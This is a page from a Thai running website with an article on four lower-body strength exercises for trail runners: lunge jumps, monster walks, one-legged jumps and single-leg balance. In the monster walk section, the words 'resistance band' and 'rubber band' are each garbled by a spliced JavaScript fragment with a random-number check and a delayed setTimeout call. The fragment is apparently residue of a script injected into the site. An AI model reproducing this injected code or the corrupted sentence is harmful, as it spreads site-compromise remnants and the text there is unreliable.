• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

4 กระบวนท่าเสริมสร้างความแข็งแกร่งให้กล้ามเนื้อนักวิ่งเทรล

kan by kan
1 August 2017
in Feature, Running Tips, Tips & Technics, Training
0
4 กระบวนท่าเสริมสร้างความแข็งแกร่งให้กล้ามเนื้อนักวิ่งเทรล
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ไม่อยากเป็นนักวิ่งขาอ่อน ไม่อยากติด DNF นักวิ่งจำเป็นต้องมีการฝึกกล้ามเนื้อหรือการฝึก Strength training ควบคู่กับการฝึกวิ่ง (cardio) ด้วย

1. กระบวนท่า Lunge Jump

ท่า Lunge Jump ดูเหมือนท่า Lunge ธรรมดา แค่มีการเพิ่มการกระโดดเข้าไป เป็นการฝึกร่างกายแบบที่เรียกว่า Functional bodyweight เป็นการใช้ประโยชน์จากน้ำหนักของร่างกายเราเองในการฝึก ผลที่ได้จากการฝึกท่านี้จะช่วยในเรื่อง การรักษาสมดุล และการบาลานซ์กล้ามเนื้อซ้ายขวา ช่วยเพิ่มพลังและสปีดให้กับกล้ามเนื้อช่วงล่าง ดดยเฉพาะกล้ามเนื้อก้นมัดใหญ่ (glutes) กล้ามเนื้อน่องขา (quads) และ กล้ามเนื้อส่วน hamstrings.

วิธีการทำ Linge Jump สามารถดูได้จากคลิปวิดีโอ ดังต่อไปนี้ครับ…

ท่า Lunge Jump เป็นท่าฝึก plyometric อย่างหนึ่ง เรียกได้ว่าผสม cardio กับ strength training ด้วยกัน จึงให้ผลดีในการเบริ์นไขมันเละสร้างกล้ามเนื้อกับพลังไปในตัว สำหรับการฝึกท่านี้นักวิ่งเทรลจะได้พลังและความแข็งแกร่งช่วงขา พร้อมกับความอึดด้วย

2. Monster Walk

ท่าการฝึกต่อมาคือ Monster Walk เป็นท่าที่ทำให้กล้ามเนื้อก้น สะโพกและเอวแข็งแรงขึ้น (Hips & Glutes) มีความยืดหยุ่นวิ่งไต่เขาได้มั่นคง จำเป็นต้องใช้อุปกรณ์ในการช่วยฝึกซ่อม นั้นคือ ยางยืด หรือที่เรียกว่า a resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and บ้างก็เรียก rubber bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and

วิธีการฝึกสามารถดูได้ตามคลิป….

ทดลองฝึกข้างละ 10 ครั้งดูนะครับ จะกี่เซตก็ได้ แต่ต้องผสมผสานกับการฝึกท่าอื่นด้วยนะ ใครที่มีปัญหาเอวสะโพกอ่อนแรง วิ่งแล้วปวดก้น สับขาไม่ค่อยไหว ให้ทดลองฝึกท่า Monster walk ดู กล้ามเนื้อส่วน Glutes ตรงส่วน Gluteus medius จะได้เสริมความแข็งแรงขึ้น

3. One-Legged Jump

กระโดดขาข้างเดียว หรือ One-legged Jump เป็นการฝึกแบบ plyometric เช่นกัน ช่วยเบริ์น ได้ cardio และ strength training ในแวลาเดียวกัน การฝึกกระโดดขาเดียวช่วยเพิ่มความสมดุลให้กล้ามเนื้อซึกซ้ายขวา

เรามาดูคลิปการฝึกกันครับ…

ในการฝึกกระโดดแต่ละข้างจะทำให้กล้ามเนื้อขาเราแข็งแรงและรักาบาลานซ์ได้ดี นอกจากนี้เราสามรถขยับมาฝึกแบบกระโดดสองขาก็ได้นะ แต่ส่วนตัวการฝึกกระโดดขาเดียวจะทำให้เรารู้ว่าขาข้างไหนอ่อนและรักษาบาลานซ์ได้ดีไหม

4. Single-Leg Balance

ท่าสุดท้ายคือการยืนกระต่ายขาเดียว ซึ่งสามารถเริ่มฝึกจากการยืนบนพื้นเรียบธรรมดา มีการเคลื่อนไหวช่วงบน อย่างการหมุนแขนขา หรือการโน้มตัวไปข้างหน้าและหลังเพื่อเพิ่มความยากขึ้น จากนั้นเราอาจจะเริ่มปรับใช้เจ้าอุปกรณ์ bosu ball เพื่อฝึกการบาลานซ์

การฝึกยืนกระต่ายขาเดียวช่วยในการเสริมสร้างความแข็งแรงให้กับกล้ามเนื้อเท้า ข้อเท้า และการรักษาสมดุลเมื่อต้องใช้ขาข้างเดียว

ทั้ง 4 ท่าฝึกกล้ามเนื้อดังกล่าวจะเน้นช่วง Lower เป็นหลัก ทั้งนี้เพราะการวิ่งเทรลจะต้องมีการวิ่งไต่เขา วิ่งลงเขา พื้นผิวไม่ราบเรียบ จึงทำให้นักวิ่งทางราบต้องมีการฝึกจำลองเพื่อปรับให้กล้ามเนื้อพร้อมรับมือ

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.